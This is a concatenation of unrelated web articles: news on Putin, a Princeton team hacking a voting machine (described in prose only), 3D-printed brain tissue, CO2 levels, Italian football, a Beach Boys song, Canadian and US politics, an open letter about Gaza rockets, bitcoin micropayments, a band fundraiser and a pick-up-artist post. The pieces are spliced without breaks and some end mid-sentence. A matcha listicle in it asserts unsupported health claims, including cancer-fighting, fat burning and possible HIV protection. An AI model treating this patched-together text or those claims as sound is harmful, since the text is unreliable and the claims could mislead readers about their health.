The timing of Sunday's announcement of his nomination for the presidency - which he said would seek in September - appeared aimed at giving United Russia a boost in the December 4 parliamentary vote amid flagging support.
"Of course, I accept the proposal with gratitude," Putin said confidently, accepting the nomination before a crowd of 10,000 supporters, chanting his name.
Putin said that "representatives of some foreign countries are gathering those they are paying money to, so-called grant recipients, to instruct them and assign work in order to influence the election campaign themselves".
Putin said that foreign countries were paying non-governmental organisations (NGOs) in Russia "in order to themselves influence the course of the election campaign in our country".
He dismissed the alleged Western attempts to influence Russia's election process as "useless work. Wasted money".
"It would be better if they used this money to pay off their national debt and stop spending money on ineffective and expensive foreign policies," Putin saidAndrew Appel hackinga voting machine (Princeton Computer Science)
It took Princeton computer science professor Andrew Appel and one of his graduate students just minutes to hack into a voting machine still used in Louisiana, New Jersey, Virginia, and Pennsylvania, Politico reports.
Professor Andrew Appel purchased for $82 a Sequoia AVC Advantage, one of the oldest machines still in use. Within 7 seconds, he and his student, Alex Halderman, had picked the lock open. Within minutes, the duo had removed the device’s unsecured ROM chips with their own hardware that makes it easy to alter the machine’s results.
Appel, his colleagues and students have been hacking into voting machines at the Center for Information Technology Policy since the late 1990s. With their work, the group has come to the conclusion that at some point, the national election will be the target of a coordinated cyber attack.
Now, with the specter of Russian hackers looming over the election cycle, the Department of Homeland Security said electronic voting machines must now be treated as “critical infrastructure” — a designation up until now reserved for dams, transportation systems and financial services.
The term refers to infrastructure “so vital to the United States that their incapacitation or destruction would have a debilitating effect on security, national economic security, national public health or safety, or any combination thereof.”
“This isn’t a crazy hypothetical anymore,” Dan Wallach, a computer science professor at Rice who studied under Appel told Politico. “Once you bring nation states’ cyber activity into the game? These machines, they barely work in a friendly environment.”
The electronic voting machines became popular after the 2000 after the contention Bush-Gore election that was hampered by mistakes and lack of clarity with manual voting and ballot counting.
However electronic voting adds a new threat — that if Russian hackers wanted to target the November election, they could.
“Look, we could see 15 years ago that this would be perfectly possible,” Appel told Politico. “It’s well within the capabilities of a country as sophisticated as Russia.”The brain is amazingly complex, with around 86 billion nerve cells. The challenge for researchers to create bench-top brain tissue from which they can learn about how the brain functions, is an extremely difficult one.
Researchers at the ARC Centre of Excellence for Electromaterials Science (ACES) have taken a step closer to meeting this challenge, by developing a 3D printed layered structure incorporating neural cells, that mimics the structure of brain tissue.
The value of bench-top brain tissue is huge. Pharmaceutical companies spend millions of dollars testing therapeutic drugs on animals, only to discover in human trials that the drug has an altogether different level of effectiveness. We're not sure why, but the human brain differs distinctly from that of an animal.
A bench-top brain that accurately reflects actual brain tissue would be significant for researching not only the effect of drugs, but brain disorders like schizophrenia, and degenerative brain disease.
ACES Director and research author Professor Gordon Wallace said that the breakthrough is significant progress in the quest to create a bench-top brain that will enable important insights into brain function, in addition to providing an experimental test bed for new drugs and electroceuticals.
"We are still a long way from printing a brain but the ability to arrange cells so as they form neuronal networks is a significant step forward," Professor Wallace said.
To create their six-layered structure, researchers developed a custom bio-ink containing naturally occurring carbohydrate materials. The custom materials have properties that allow accurate cell dispersion throughout the structure, whilst providing a rare level of protection to the cells.
The bio-ink is then optimised for 3D-printing, and developed for use in a standard cell culturing facility without the need for expensive bio-printing equipment.
The result is a layered structure like brain tissue, in which cells are accurately placed and remain in their designated layer.
"This study highlights the importance of integrating advances in 3D printing, with those in materials science, to realise a biological outcome," Professor Wallace said.
"This paves the way for the use of more sophisticated printers to create structures with much finer resolution."
The research, funded through Professor Gordon Wallace's Australian Laureate Fellowship, is published in Biomaterials journal.10 Benefits of Matcha Green Tea by Sanjana George
If trends are anything to go by, then we can safely say that swapping a latte for a warm cup of green tea instead just may be a fad that is here to stay for longer. And if, health doctors and nutritionists weren’t singing enough praises about green tea already and even claiming that this was the first superfood that could be ‘drunk’ as opposed to other superfoods that need to be eaten; the world suddenly discovered Matcha Green Tea as well. So, is Matcha green tea actually a green tea or a variant and why should learning about its benefits actually make a difference?
To start with, Matcha is a powdered green tea that is mostly grown and packed in Japan. It is believed that protecting the leaves of the green tea plant from the sun during the last three weeks of its growth, plays an important role in increasing the presence of chlorophyll and enhances the green color of the leaves too. The extra green leaves are then taken and ground by hand or with a stone grinder to produce a coarse green powder that we call Matcha. The discovery of green tea as such is attributed to the Tang dynasty in China where green tea used to be powdered and then dried into bricks for storage purposes. As and when somebody felt like brewing a cup of green tea, a small piece from the brick was broken off and used accordingly. It is said that in the 1100’s, the concept of powdered tea was brought to Japan by a Chinese monk and since then, the tradition of drinking powdered green tea has endured and only become stronger.
Today, the Japanese include Matcha green tea in many dishes and have even created an ice-cream flavor featuring the strong taste of Matcha, not to forget smoothies and milkshakes blended with a dash of Matcha in it. Boil Matcha in water and what you get is a green tea that is rich in taste and even has froth unlike a cup of tea made using green tea granules. Unlike green tea which can be best be flavored only with honey, a dash of lime or with the essence of flowers, Matcha is more versatile when it comes to playing around with other ingredients to create a sweeter flavor. What you need to keep in mind is that, only ½ tsp of the powder is needed to brew a cup of antioxidant rich Matcha.
So, should you swap your cup of green tea for some Matcha green tea brew instead? We say yes because doing so, can actually give your health a fantastic boost and re-energize you in many ways.
1. Give Yourself an Antioxidant Rush
Nutritionists are forever talking about how eating antioxidant rich food can cleanse your body of toxins and actually give your health a boost of much deserved nutrients. And it’s so true! Think of antioxidants as the secret elves that work from inside out to keep your skin looking younger, healthier and for helping you fight a range of illnesses and diseases. One antioxidant food that most of us secretly heart is dark chocolate. But did you know that just one cup of Matcha green tea can give your body more than 5 times the antioxidant boost in comparison to other products? It’s one product that deserves all the hype associated with it.
2. Cancer Buster Properties
You may have come across many other antioxidant rich food that’s often hailed for its ability to fight cancer. Ever wonder what the wonder ingredient is? It’s called Epigallocatechin Gallate or EGCg which is actually a kind of catechin. Matcha green tea has more than 50% of this specific compound which has already been patted on the back for its cancer fighting abilities. If you’re still not entirely convinced, then here’s another fact- Research shows that Matcha green tea contains more than 90 times EGCg than any other tea that can be purchased at your local supermarket.
3. Promotes Calm and Relaxes
The very act of preparing a cup of matcha green tea is akin to meditation and hence taken very seriously in Japanese culture. This form of green tea helps to relax the mind, promotes calm and may even help one to meditate at a higher level as well. This tea has been shown to relax the brain entirely and to help one ‘be in the moment’ without causing any form of drowsiness at all.
4. Natural Memory Booster
It’s no secret that as we age, so does our brain. It could be one reason why so many elderly people tend to forget things easily and struggle to remember even the smallest details as they grow older. Drinking Matcha green tea enhances the production of dopamine and serotonin in the body and both these chemicals have been shown to be fantastic for improving memory and promoting concentration. And yes, you’ll feel its benefits quickly once you start drinking it regularly.
5. Power up Energy Levels
Japanese tales talk about brave Samurai warriors drinking Matcha green tea before going into battle and this can be attributed to the fine powder’s ability to boost one’s energy levels. Matcha green tea like every other tea that’s commercially available, also contains its fair share of caffeine but doesn’t leave you feeling hyper, on the edge or even nervous as say, coffee may. You’ll feel a wave of good clean energy coupled with the power to think clearly and to focus well on the task at hand.
6. Reliable Calorie Burner
As if we didn’t already love all the great benefits of Matcha green tea, here’s another reason why you should consider drinking it for yourself. It’s been certified as a reliable calorie burner because it actually does burn body fat quite effectively and maybe even four times better than the next nearest competitor. What’s good about it is that unlike most other calorie burners that come with side-effects like bloating, gastritis or even an increased heart rate, Matcha green tea is gentle and soothing to the body.
7. Toxin Remover
All antioxidant rich food have the ability to work like a vacuum cleaner in our bodies. Besides removing harmful toxins that could accumulate over time and cause more serious diseases, it rejuvenates each organ that works round the clock from within. Matcha too has wonderful detoxifying abilities and that could be because of the high chlorophyll content in the leaves.
8. Improves Immunity
One reason why you may be catching a flu every time there’s a change in season, or sneezing due to an allergy could be because of a weak immune system. So, just by consuming one bowl of Matcha green tea every day, you give yourself a good helping of naturally occurring Vitamin A, Vitamin C, Iron, Protein and Calcium. Although more studies need to be conducted on the same, there’s also a possibility that Matcha can protect the body cells from HIV attacks.
9. Better Cholesterol Levels
In short, Matcha can reduce the levels of bad cholesterol in the blood and raise the levels of good cholesterol, simultaneously. This also means that it keeps your circulatory system in top notch condition and protects you from getting heart disease too.
10. Can be used in Cooking
Don’t fancy drinking a cup of Match every day? Well there’s no reason why you can’t get more creative and add Matcha to your cooking as well. Make your cakes, cookies and puddings more delicious just by adding half a spoon of Matcha to the mix. Use it in soups, stir-fry’s, dips and even in your breakfast morning smoothie. With such a versatile ingredient to experiment with, you’ll find that there are many ways to give your body the same benefits as brewing a fresh cup of Matcha green tea.
So, isn’t it time to think about switching over to Matcha to give your body a double dose of health boosting nutrients? Move over coffee, the new reloaded green tea is finally here!WASHINGTON (AP) -- The amount of heat-trapping carbon dioxide in the air jumped dramatically in 2012, making it very unlikely that global warming can be limited to another 2 degrees as many global leaders have hoped, new federal figures show.
Scientists say the rise in CO2 reflects the world's economy revving up and burning more fossil fuels, especially in China.
Carbon dioxide levels jumped by 2.67 parts per million since 2011 to total just under 395 parts per million, says Pieter Tans, who leads the greenhouse gas measurement team for the National Oceanic and Atmospheric Administration.
That's the second highest rise in carbon emissions since record-keeping began in 1959. The measurements are taken from air samples captured away from civilization near a volcano in Mauna Loa, Hawaii.
More coal-burning power plants, especially in the developing world, are the main reason emissions keep going up — even as they have declined in the U.S. and other places, in part through conservation and cleaner energy.
At the same time, plants and the world's oceans which normally absorb some carbon dioxide, last year took in less than they do on average, says John Reilly, co-director of Joint Program on the Science and Policy of Global Change. Plant and ocean absorption of carbon varies naturally year to year.
But, Tans tells The Associated Press the major factor is ever-rising fossil fuel burning: "It's just a testament to human influence being dominant."
Only 1998 had a bigger annual increase in carbon dioxide, the primary greenhouse gas from human activity. That year, 2.93 parts per million of CO2 was added. From 2000 to 2010, the world averaged a yearly rise of just under 2 parts per million. Levels rose by less than 1 part per million in the 1960s.
In 2009, the world's nations agreed on a voluntary goal of limiting global warming to 3.6 degrees Fahrenheit over pre-industrial temperature levels. Since the mid-1800s temperatures haven already risen about 1.5 degrees. Current pollution trends translate to another 2.5 to 4.5 degrees of warming within the next several decades, Reilly says.
"The prospects of keeping climate change below that (2-degree goal) are fading away," Tans says.
Scientists track carbon pollution both by monitoring what comes out of factories and what winds up in the atmosphere. Both are rising at rates faster than worst-case scenarios that climate scientists used in their most recent international projections, according to Pennsylvania State University climate scientist Michael Mann.
That means harmful effects of climate change will happen sooner, Mann says.The date for the final of the Coppa Italia between Juventus and Lazio has been brought forward due to the Bianconeri reaching the Champions League Final.
The Old Lady came through a tense second leg against Real Madrid at the Bernabeu on Wednesday night to qualify for the final of the Champions League on June 6 in Berlin with a 3-2 aggregate win over two legs.
Now the Coppa Italia final which was due to be played on June 7 has been brought forward to next Wednesday, May 20 at the Stadio Olimpico.
The Biancoceri are on course for a historic treble having already won the Scudetto and reaching the final of the Champions League and the Coppa Italia, while the Biancocelesti are aiming for the second Coppa Italia in three seasons having defeated arch rivals Roma in the final in 2013.
Both sides have 15 Coppa Italia titles between them with the Old Lady having won the competition nine time and the Roman giants winning on six occasions.The Last Man on Earth, see For the episode of, see Barbara Ann (The Last Man on Earth)
"Barbara Ann" is a song written by Fred Fassert that was first recorded by the Regents as "Barbara-Ann". Their version was released in 1961 and reached No. 13 on the Billboard Hot 100 chart. The most famous cover version was recorded in 1965 by the Beach Boys, issued as a single from their album Beach Boys' Party! with the B-side "Girl Don't Tell Me".
The Beach Boys version [ edit ]
The Beach Boys recorded their version on September 23, 1965. Dean Torrence of Jan and Dean is featured on lead vocals along with Brian Wilson. Torrence is not credited on the album, but Carl Wilson is heard saying "Thanks, Dean" at the song's conclusion.[1]
The song entered the Billboard Hot 100 chart the week ending January 1, 1966. The week ending January 29, the song leaped from No. 15 to No. 2 and was in position to replace "We Can Work It Out" by The Beatles as the next No. 1 song. However, "My Love" by Petula Clark unexpectedly vaulted into the No. 1 position the week ending February 5, 1966. Consequently, "Barbara Ann" peaked at No. 2 on the US Billboard Hot 100 (No. 1 in Cash Box and Record World) and at No. 3 in the UK in January 1966.[2] It also topped the charts in Germany, Switzerland and Norway. It was The Beach Boys' biggest hit in Italy, reaching No. 4.[citation needed]
Variations of the Beach Boys' recording have seen release. A version without the party sound effects can be found on the Hawthorne, CA album. The group sang the song as an encore on their Live in London album. As a solo artist, Brian has a rendition on his live album Live at the Roxy Theatre, and in 2001, performed it himself, with the ensemble, on An All-Star Tribute to Brian Wilson.[citation needed]
In 1987, the group re-recorded the song as "Here Come the Cubs" with re-written lyrics about the Chicago Cubs.[3] It became the team's official theme that year, replacing "Go, Cubs, Go".[4]
The Who perform "Barbara Ann" in the film The Kids Are Alright with Keith Moon on vocals. Moon, a massive Beach Boys fan but a notoriously limited singer, plays and sings much to the delight of his fellow band members.
Personnel [ edit ]
The Beach Boys
Additional musicians and production staff
Dean Torrence – lead vocals
Hal Blaine – ashtrays
Charts [ edit ]
Other versions [ edit ]
The song was parodied as "Bomb Iran" by various musicians, including Vince Vance and the Valiants, during the 1979 Iran hostage crisis.[17]Kevin O’Leary professes himself a “Conservative expansionist,” with a target of growing the party by 40 per cent under his leadership, mainly by appealing to 18-35 year old voters disillusioned by Justin Trudeau’s Liberals.
At first glance, it would seem that he is succeeding — in most polls he has the most support among existing Conservatives, and even rivals admit he is signing up new members at a faster rate than their campaigns.
“The biggest eye-opener so far was when we made a decision last week to go to a pub at (the University of British Columbia) at 11 p.m., just to see if anybody would talk to me,”O’Leary said in an interview at an Ottawa restaurant, ahead of Friday’s program at the Manning Conference. “We thought maybe 15 or so would, and we’d do some social media. Three hundred and fifty turned up — we had to close the doors with another 150 waiting outside.
“They feel Trudeau has screwed them and they’re pissed,” he said. “They’re ripe for this party …. It’s a new ball game — if you can’t get to that youth, you can’t get a majority mandate.”
But the problem for O’Leary is not attracting new members — it is retaining the support of “legacy” Conservatives, the existing or returning members.
Crucially, the number of party members who have a negative impression of him has nearly doubled from 22 per cent of members in December to 41 per cent earlier this month, according to an Abacus Data poll.
In a ranked-ballot race, where to succeed candidates need to attract support not just as first-choice but as the preferred second-choice of members as well, that could be enough to impede O’Leary’s growth prospects and deny him the crown.
Part of the problem is that in order to attract millennials, O’Leary is saying things, like expressing support for transgender rights, that are alienating a portion of the Conservative base.
Then there’s the perception that he’s “just visiting,” to invoke the line used with such devastating effect against former Liberal leader Michael Ignatieff. One recent survey of O’Leary’s movements between mid-January and mid-February found that he was in Canada less than half the time. An article in Boston Magazine recently quoted him as saying: “Boston is home.”
In our interview Friday he took great pains to claim that he moved to Canada in December 2010 and pays taxes in this country.
“I moved back to Canada to put my kids through Canadian schools in December 2010 … I wanted them to learn what being a Canadian was, so we moved back. I live in Ontario and pay taxes to (Ontario premier) Kathleen Wynne since then, which is why I’m so unhappy. I’ve been a resident since then,” he said.
My Rolodex is far bigger than Trudeau’s or (finance minister Bill) Morneau’s. They would beg to have my Rolodex
One rival strategist suggested O’Leary needs to sign up some respected Conservative caucus members (he currently has backing from just one MP) and spend more time in the country.
Yet the reality TV star is unrepentant about his parallel career as an international investor. “My Rolodex is far bigger than Trudeau’s or (finance minister Bill) Morneau’s. They would beg to have my Rolodex. When I get this country to be globally competitive, I’m going back to all those places to say to everybody there, ‘Canada is open for business again.’ I’m very involved in international business and I’m going to stay that way for the benefit of Canadians,” he said.
This highlights the central conceit of the O’Leary campaign: It is not really about you, Conservative members, it’s about him. This politics thing is more of a hope than a commitment.
During our interview, he paid lip-service to the “amazing raw talent” in the Conservative caucus.
But one MP who talked to him privately said he was dismissive about caucus and the role of Parliament.
The Conservative Party remains a loose confederation. Keeping that coalition intact requires an understanding of the source of the power that maintains party leadership.
Yet it’s apparent that to O’Leary, the leader’s preeminence would make Cabinet and the House of Commons all but irrelevant.
“There is a basic change in the body politic … the tone is that people are tired of journeymen politicians, of career politicians,” he said. “They want someone who will tell them the truth, above all they want executional excellence in their leadership.”
There is clearly a new mood out there but it seems unlikely to me that the Conservative Party of all parties is prepared to hand itself over to a new leader so unmoored in its past policies, its traditions and even its geography.
Kevin O’Leary gives the impression that if he were a chocolate drop, he’d eat himself. It’s an entertaining schtick — as are the well-rehearsed impromptu soundbites, like “It’s not going to be an election in 2019, it’s going to be an exorcism.”
But Canadians will not elect a president two years from now; they will elect a government, from which a prime minister will emerge.
Research from Canada and elsewhere suggests that in the Westminster system party brands are more important than party leaders when it comes to winning or losing elections. It is not even uncommon for the political party of the less-popular leader to be the one that wins an election.
O’Leary’s lack of appreciation for the nuances of the party he aspires to lead has for many Conservatives made him the ballot question. Anecdotal evidence suggests the fastest-growing movement in this leadership race may well be the “Anyone But O’Leary” campaign.
• Email: jivison@nationalpost.com | Twitter: IvisonJ(This July 20 story was corrected to say “Bank of America Merrill Lynch auto analyst John Murphy” instead of “Morgan Stanley auto analyst” in paragraph 11)
FILE PHOTO - Dennis Williams UAW president in his office at UAW headquarters in Detroit, Michigan, U.S. September 12, 2016. REUTERS/Bernie Woodall
By Paul Lienert and Nick Carey
(Reuters) - The president of the United Auto Workers union said on Thursday the union is talking with General Motors Co about the potential threat to plants and jobs from slumping U.S. car sales.
“We are talking to (GM) right now about the products that they currently have” at underused car plants such as Hamtramck in Michigan and Lordstown in Ohio, and whether they might be replaced with newer, more popular vehicles such as crossovers, Dennis Williams told reporters.
“We are tracking it (and) we are |
So, something is working.’”
One has to wonder: if these no-homework policies are having such positive effects on the mental and emotional well-being of children, then why haven’t we tried them before?
The answer, according to one former teacher, may have to do with the goal of the education system. According to John Taylor Gatto, the current, one-size-fits-all school system has long been trying to turn creative, inventive, and bright students into obedient, subdued, and dependent individuals. This is done largely through orchestrating every minute of their time at school, and then extending that orchestration into children’s free time at home:
Today the tabulation of hours in a young life reads like this: My children watch television 55 hours a week according to recent reports, and they sleep 56. That leaves them 57 hours in which to grow up strong and competent and whole. But my children attend school 30 hours more, spend 8 hours preparing for school, and in goings and comings, and an additional 7 hours a week in something called ‘home’-work - although this is really more schoolwork except in ‘Newspeak’. After the 45 school hours are removed a total of 12 hours remain each week from which to fashion a private person - one that can like, trust, and live with itself. Twelve hours. But my kids must eat, too, and that takes some time. Not much, because they've lost the tradition of family dining - how they learn to eat in school is best called ‘feeding’ - but if we allot just 3 hours a week to evening feedings, we arrive at a net total of private time for each child of 9 hours....This demented schedule is an efficient way to create dependent human beings, needy people unable to fill their own hours, unable to initiate lines of meaning to give substance and pleasure to their existence. It is a national disease, this dependency and aimlessness, and schooling and television and busy work - the total Chautauqua package - has a lot to do with it.”
Is it possible that the trend away from homework may be one small step away from the culture of dependency we’ve instilled in recent generations?
Reprinted from Intellectual Takeout.The British Army’s Guards Division fought at Loos and Cambrai in the First World War, and at Pilkem and Passchendaele, Arras, Canal Du Nord. Formed in France in 1915, the Division counted battalions from some of the Army’s elite regiments, Coldstreams and Grenadiers, Scots and Welsh and Irish. At Armistice in November of 1918 the Division was stationed in and around Maubeuge in France, near the Belgian border. With the war at an end, some units were ordered to Cologne, in Germany, to which they marched — a distance of about 250 kilometres. Through Christmas they stayed and on into January, serving with Britain’s occupation force, the Army of the Rhine and … playing some hockey, as depicted here. They wanted for proper gear, from the look of things, if not for skates and walking-sticks and all-out enthusiasm. The fans shown in the last photograph are local Germans.
By February of 1919 the Division was headed for home. In March the men formed up one last time to parade through the streets of London to Buckingham Palace, where they paid their respects to King George V and Queen Mary in the forecourt. Then they continued down The Mall and up Piccadilly to Hyde Park Corner. This, according to The Guards Magazine. Men who’d been blinded in battle marched with their mates, the newspapers reported, while those too grievously wounded to walk were borne by lorries.
[Photos by Lieutenant Ernest Brooks, 10 February, 1919/Imperial War Museum © IWM (Q 3591), © IWM (Q 3588), © IWM (Q 3592), © IWM (Q 3589)]Do you know how alike we are, you and I? We’re both 30 years old; we both have 7-year-old daughters. We’ll both go to sleep tonight with the women we love, not before tucking our daughters in under down comforters, because it’s starting to get chilly.
Both of us will kiss our daughters on the forehead, go to bed and hug our wives, you in Gaza and I in Tel Aviv.
Before we fall asleep, we’ll both think of the next week at work, and the onerous responsibility of providing for our families, feeding our children, and, more importantly, making sure our wives know we’re real men, right, Khalil? 😉
We’ll both probably think about sex and once again fall asleep only thinking about it.
We’re utterly alike, Khalil, but there is something different.
Your daughter will die tonight.
You won’t find out about it in the morning. You’ll wake up in the middle of the night to a deafening explosion. Your whole house will tremble. Parts of the ceiling will fall on you. You’ll run to your daughter’s bedroom, and find the northern wall gone, your daughter lying on the broken floor, a charred husk.
But don’t worry, Khalil my man, she wasn’t burned alive. The shock wave killed her instantly, before she caught fire. Does that make it any easier for you? No?
Afterward, a guy will show up and introduce himself as Jamil, and he’ll start photographing her.
***
Now, before you get angry at the Zionist pigs who murdered your child, let’s talk about Imad, your neighbor.
You remember that he came to ask you for a loan a year ago? Yeah, I know you’d have given him the money if you had it. But don’t worry, he managed. Someone offered him 2,000 shekels a month, to rent one of the rooms in his house. So last year, without your knowledge, one room in Imad’s apartment was filled with Kassam rockets.
You know, those two-meter-long tubes containing about 10 kilograms of explosives?
So, in this room were 50 of these rockets. And this room, Khalil, shared a wall with your daughter’s bedroom. That means that every night, she laid her head on a pillow next to half a ton of explosives. How did you sleep quietly at night? Imad didn’t tell you?
But wait, don’t get upset at Imad. He’s experiencing financial difficulties, and all he can think about is providing food for his children. He was desperate. Jamil, the guy who pays the rent, convinced him that the room was just a warehouse, and no one would use the rockets. So forget Imad. Let’s talk about the rockets for a second, and understand why they’re bad.
***
What are rockets, Khalil? A rocket is like a bullet. Wherever you aim it, that’s where it’ll hit. Only, unlike a rifle, it has an engine that burns all the way and extends its range. The Kassam, for example, can go for about 20 kilometers.
How do you aim a gun at a target 20 kilometers away? You can’t. You hit approximately. And to make sure you hit your target, you fire 10 rockets together. We call it a “volley.” Rockets are used when you don’t care what you hit. Fire a bunch toward a city, and hope that something will hit a kindergarten. This is known as “terrorism.” And Israelis don’t like terrorism.
Call us crazy, but we want to keep our civilians safe.
So we spend millions of dollars on missiles, which are kind of like rockets, only they’re accurate, and they allow us to hit the warehouses full of rockets and launchers. We could fire rockets and shells in the general direction of those targets, but then we’d risk hitting many of your civilians. And we don’t want that. So we fire very costly and very accurate missiles at your rocket warehouses. And unfortunately, sometimes little girls sleep with their heads against those warehouses.
But wait, before you get angry at the missiles the Zionist pigs used to kill your daughter, let’s talk for a moment about Jamil.
***
Jamil is a Hamas activist. His role is to locate “warehouses” such as Imad’s, and see to it that rockets are stored in them. That’s it. We call it a “logistics officer,” but that’s a bit different. Jamil received some special instructions: First, that warehouses mustn’t be close to one another. Second, that they be in residential neighborhoods. Next to kindergartens. Next to hospitals and the homes of the elderly.
Adjacent to your daughter’s wall.
And you know why? Because Jamil doesn’t really care if your daughter dies. In fact, he’ll be the first on the scene with his iPhone to film her burnt body and upload it to YouTube. As they did on the first day of Operation Pillar of Defense.
Now you can get angry. Yes, at Jamil.
***
But Khalil, my friend, it’s not enough to be angry at Jamil. You need to get angry at Hamas. It’s your sovereign government, and it decided on this strategy. Hamas invests most of its resources on militarization. In warehouses next to your house. In rocket-launchers next to hospitals. And it’s doing all it can so that civilians will die. Yours, as well as ours. Hamas must be removed.
But how does one get angry at Hamas? Think Internet. Think friends. Think demonstrations. Think dissent. Think criticism. Think organization. Think a blog. Think interviews with the media. Think that Hamas must fall and that you deserve a government that sees you, your job, your future — and your daughter — as top priorities.
Think of your daughter. Think peace.
I assure you that when you stop aiming weapons at us and instead extend to us a hand of cooperation – that’ll be a morning when your daughter wakes up to a day that will build her future.
And it starts with you, Khalil.
Good night.
___
This post originally appeared in Hebrew as a Facebook status update. Translation by Ethan Shalev and Gal Barkan.Walter Isaacson is CEO of the Aspen Institute. He wrote The Innovators: How a Group of Hackers, Geniuses and Geeks Created the Digital Revolution [Simon & Schuster]
This article was taken from the January 2015 issue of WIRED magazine. Be the first to read WIRED's articles in print before they're posted online, and get your hands on loads of additional content by subscribing online.
When reporting for my new book, The Innovators, the most frequent lament I heard from web pioneers was that they had failed to provide a platform to enable small digital payments. Ted Nelson, who conceived hypertext, believed the links should be two-way, which would have allowed a system for micropayments and royalties to accrue to content creators. Tim Berners-Lee says that he wanted to embed in a page the information needed to handle a small payment, which would allow electronic-wallet services to be built by banks or entrepreneurs. These payment protocols were never implemented, partly because of the changing complexity of banking regulations, but Berners-Lee hopes that the consortium that oversees web protocols will soon return to that task. And Marc Andreessen, who built the first popular web browser, told me: "If I had a time machine and could go back to 1993, one thing I'd do for sure would be to build in bitcoin or some similar form of cryptocurrency."
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Andreessen could still get his wish. With his encouragement, people are starting to use bitcoin to develop micropayment services, such as ChangeTip and Bitwall, that have tiny transaction costs and aren't controlled by the antiquated banking system or middlemen merchants such as Amazon and Apple. They avoid the mental and financial transaction costs of the inelegant PayPal, which so far has failed to invent a frictionless micropayment system of its own.
An easy micropayment system for digital content could help save journalism by allowing people to pay a few pennies for an article or edition of a newspaper rather than having news sites become totally beholden to advertisers. As Ethan Zuckerman, an inventor of the pop-up ad, recently lamented, forcing journalists to cater to advertisers' needs was the "original sin" of the web.
Frictionless micropayments would also help producers of all different types of content, most notably individual artists, writers, bloggers, game makers, musicians and independent entrepreneurs. Ever since the Statute of Anne was passed more than 300 years ago, people who created songs, plays, writing and art have a way to get paid for copies of them. A flourishing culture ensued. Likewise, easy and frictionless coin systems that allow us to buy digital content on impulse would support journalists who want to be under obligation to their readers rather than just to their advertisers -- as well as support anyone else who wants to make a living producing creative things.
Bitcoin platforms are still intimidating to people who don't want to be currency speculators, so the next big innovation will be the creation of truly simple digital coins or easy bitcoin-based systems. Those who succeed in building such services will empower creators and consumers of content and thus wrest some power from the Amazons, Alibabas and Apples. That will make them the next great digital disruptors.A Small Push...A Big Project!
We are in the process of finishing our second EP, USALKT. For the past year, we have worked tirelessly writing and recording the music, and just recently, the vocals. We have done this by means of our full time jobs and our second job, playing shows. Since we are an independently funded band, we are left to our own devices and financial constraints. That's where YOU come in. We are in dire need of help to finish the all important mixing and mastering, and then it's a wrap!!!
Wait...who is Choirs again?
We figured that would come up.
Choirs is an alternative rock band from Bakersfield, Ca. consisting of, Joel Brewer/vox, Tyler Slayton/guitar, Dax Dominguez/guitar, Mike Aguilar/bass, and Cass Faulkenberry/drums. We have been writing, recording, and performing together for 3 years. Here is a bit of what we do:
Choirs @ Sandrini's, Bakersfield, Ca.
@Rileys 2013 - Modus Operandi, from We All Need Closure 2011
THE PROCESS:
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Choirs @ Studio West. Cass, Dax, Tyler and Joel's leg.
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Usalkt Girl T-ShirtRoger Ailes, the man who pioneered “alternative facts,” is dead. During the first five years of Fox News—which was built almost single-handedly by Ailes’ genius—I was a regular on-air contributor/panelist there. I dealt with his right-wing lieutenants plenty, but only met Ailes once, at a Fox News “Holiday Party.” The invite did not call it a “Christmas Party.” It was one of hundreds examples of hypocrisy at the TV channel that would soon launch the “War on Christmas” hoax.
Fox News was created in Ailes’ image—a channel that preached family values while subjecting women employees to intense harassment and body-shaming. Before Ailes launched Fox News with Rupert Murdoch’s millions, he was executive producer of Rush Limbaugh’s syndicated TV show—which once displayed a photograph of Chelsea Clinton while Limbaugh referred to her as the “White House dog.” She was 13 years old at the time.
I wrote this in my book Cable News Confidential:
I met Ailes once at a Fox News holiday party. If you knew nothing about him, this short, pudgy, balding fellow might appear cuddly, almost huggable, like a nice old uncle you’d nickname Jolly Roger.
Looks can be deceiving. Ailes was the media consultant for Bush Sr.’s vicious 1988 campaign that linked Democratic candidate Mike Dukakis to black rapist Willie Horton. “The only question,” Ailes remarked, “is whether we depict Willie Horton with a knife in his hand or without it.” Lee Atwater, his partner in the campaign, said that Ailes has “two speeds—attack and destroy.”
So Rupert Murdoch was putting Ailes in charge of a TV network during the reign of Bill Clinton, whom Ailes scorned as “the hippie president.” Given his genius with 30-second TV attack ads, imagine what Ailes could do 24/7.
SCROLL TO CONTINUE WITH CONTENT Help Keep Common Dreams Alive Our progressive news model only survives if those informed and inspired by this work support our efforts
What Ailes accomplished from 1996 until last year was a political/media revolution. As much as I hate to admit it, I can’t think of a single individual who’s had more impact on our country’s politics over the last 20 years. There would have been no Trump presidency without the decades of disinformation spewed by Fox News (and talk radio allies) to millions of voters—on issues from Christmas to immigrants to abortion, from economics to “socialist” Obama to “liberal media bias.”
I learned from my five years on-air at Fox News that its viewers were a fanatical bunch. Not serious readers or thinkers, but ardent voters. Years before pro-Trump “fake news” hoaxes were shared by millions on the Internet during the 2016 campaign, Ailes had reached his audience of voters with cable TV’s version of fake news. It matters that millions of hardcore activists and voters are operating from a worldview where racial minorities, women, immigrants, foreigners and terrorists have the upper hand against beleaguered white males, the depleted US military and persecuted corporations (I mean, “job creators”).
Perhaps Jon Stewart said it best in 2001 when The Daily Show earned a Peabody Award, given for excellence in television without any specific categories. Jon Stewart accepted the award by joking that he had won in the “News Parody” category: “There was not much competition this year. It was just us and Fox.”Feminists are trying to take down Real Social Dynamics pick-up coach Julian Blanc for a video he posted, in which Julien pulls Asian women toward his crotch while repeatedly shouting “pickachu.” They’ve already gotten RSD banned from several major hotels, and shut down an RSD event, attacking and hitting RSD instructor Max. Those behind #TakeDownJulienBlanc say that what Julien does in the video is sexual harassment, and ask why other men don’t police men like Julien Blanc?
Well feminists, I’ve been waiting for this a long time, and it’s finally come. I’ve been waiting for the day you’d ask us to bring back patriarchy.
Now, I know some of you will hate me for suggesting that wanting men to create standards of conduct for other men is patriarchy, but if you pay attention, I’ll give you everything you need to actually #TakeDownJulienBlanc, straight from an insider in one of the most anti-feminist, pro-game websites on the internet.
The Controversy Behind #TakeDownJulienBlanc
The controversy behind #TakeDownJulienBlanc was started when Julien posted a free tour video of a public speaking event he did in Japan, in which Julien said:
